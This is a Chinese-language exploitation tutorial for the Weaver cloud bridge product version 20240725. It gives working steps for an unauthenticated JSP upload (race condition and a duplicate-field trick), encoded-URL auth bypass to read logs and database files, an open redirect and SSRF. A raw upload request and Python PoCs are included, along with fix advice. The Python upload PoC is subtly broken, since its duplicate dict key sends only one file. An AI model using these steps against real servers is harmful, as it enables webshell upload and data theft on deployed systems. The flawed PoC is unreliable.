泛微云桥20240725存在未授权文件上传fileUploadForCowork_fileUpload
字数 1539 2025-08-30 06:50:36
泛微云桥20240725安全漏洞分析与利用教学文档
漏洞概述
泛微云桥20240725版本存在多个安全漏洞,包括未授权文件上传、未授权文件访问、SSRF和URL跳转等。本教学文档将详细分析这些漏洞的原理、利用方法及防御措施。
一、未授权文件上传漏洞
1. 漏洞接口
存在漏洞的文件上传接口:
/main/portal/uploadCoverOrBanner?fileElementId=ccc/main/wxpublic/message/saveImageMsgFodders/file/fileNoLogin/fileUploadForCowork/fileUpload
2. 漏洞原理
文件上传处理流程:
- 系统通过
MultipartRequest函数接收并处理上传的文件 - 文件首先被写入服务器临时目录
- 然后通过
isSafeFile函数检查文件后缀(过滤.jsp/.php等) - 如果检测到危险后缀,则删除文件
漏洞成因:
- 文件先保存后检查的流程设计缺陷
- 可通过条件竞争或双文件上传绕过删除机制
3. 利用方法
方法一:条件竞争
- 使用多线程同时发送大量上传请求
- 在文件被删除前访问上传的文件
方法二:双文件上传
- 构造包含两个同名file字段的请求
- 系统处理时会覆盖第一个文件,循环只删除一个文件
- 导致另一个文件保留在服务器上
示例数据包:
POST /file/fileNoLogin/fileUploadForCowork/fileUpload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg
<% out.println("Hello World"); %>
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg
<% out.println("Hello World"); %>
------WebKitFormBoundary--
4. 访问上传文件
成功上传后,访问路径如:
http://target.com/202502/IE/111.jsp
二、权限认证绕过分析
1. 认证流程
-
web.xml配置了JFinalFilter -
请求经过多个处理器:
GlobalHandler:拦截.log/.sql/.db后缀OutSysProxyHandler:处理路由ActionHandler:根据URI获取actionMapping实例
-
拦截器检查:
GlobalInterceptor检查URI权限- 白名单URI绕过权限检查
2. 绕过方法
方法一:URL编码绕过
GlobalHandler使用request.getRequestURI()获取URI但未过滤- 可使用编码绕过.log/.sql/.db后缀检查
- 例如:
a.sq%6c→a.sql
方法二:白名单URI
以下URI开头不检查权限:
/wxapi/wxjsapi/wxclient/wxthirdapi/file/fileNoLogin
方法三:ClearInterceptor注解
访问带有@ClearInterceptor注解的控制器方法可绕过权限检查
三、未授权文件访问
1. 漏洞接口
通过URL编码绕过可访问:
- ROOT/log/目录下的日志文件
- 任意.sql、.db文件
2. 利用方法
示例:
http://target.com/log/access.lo%67
http://target.com/data.d%62
四、其他漏洞
1. URL跳转
http://target.com/goModule.do?uri=http://www.evil.com
2. SSRF漏洞
后台存在SSRF漏洞,可探测内网
3. 目录遍历
通过DirectoryBroswerController可查看服务器目录
五、修复建议
- 及时安装官方补丁(先安装2023补丁再安装2024补丁)
- 文件上传修复:
- 先检查后保存
- 使用随机文件名
- 限制上传目录不可执行
- 权限认证修复:
- 严格校验URI
- 限制白名单范围
- 对
@ClearInterceptor注解严格管控
- 日志文件保护:
- 将日志文件存放在web目录外
- 设置适当权限
六、漏洞验证POC
文件上传POC(Python示例)
import requests
import threading
url = "http://target.com/file/fileNoLogin/fileUploadForCowork/fileUpload"
def upload_file():
files = {
'file': ('test.jsp', '<% out.println("Hello World"); %>', 'image/jpeg'),
'file': ('test.jsp', '<% out.println("Hello World"); %>', 'image/jpeg')
}
try:
r = requests.post(url, files=files)
print(r.text)
except Exception as e:
print(e)
# 多线程上传
threads = []
for i in range(10):
t = threading.Thread(target=upload_file)
threads.append(t)
t.start()
for t in threads:
t.join()
文件访问POC
import requests
url = "http://target.com/log/access.lo%67"
r = requests.get(url)
print(r.text)
总结
泛微云桥20240725版本存在严重的安全漏洞,攻击者可利用这些漏洞实现未授权文件上传、服务器敏感信息泄露、内网探测等危害。建议用户及时更新补丁并按照修复建议加强系统安全防护。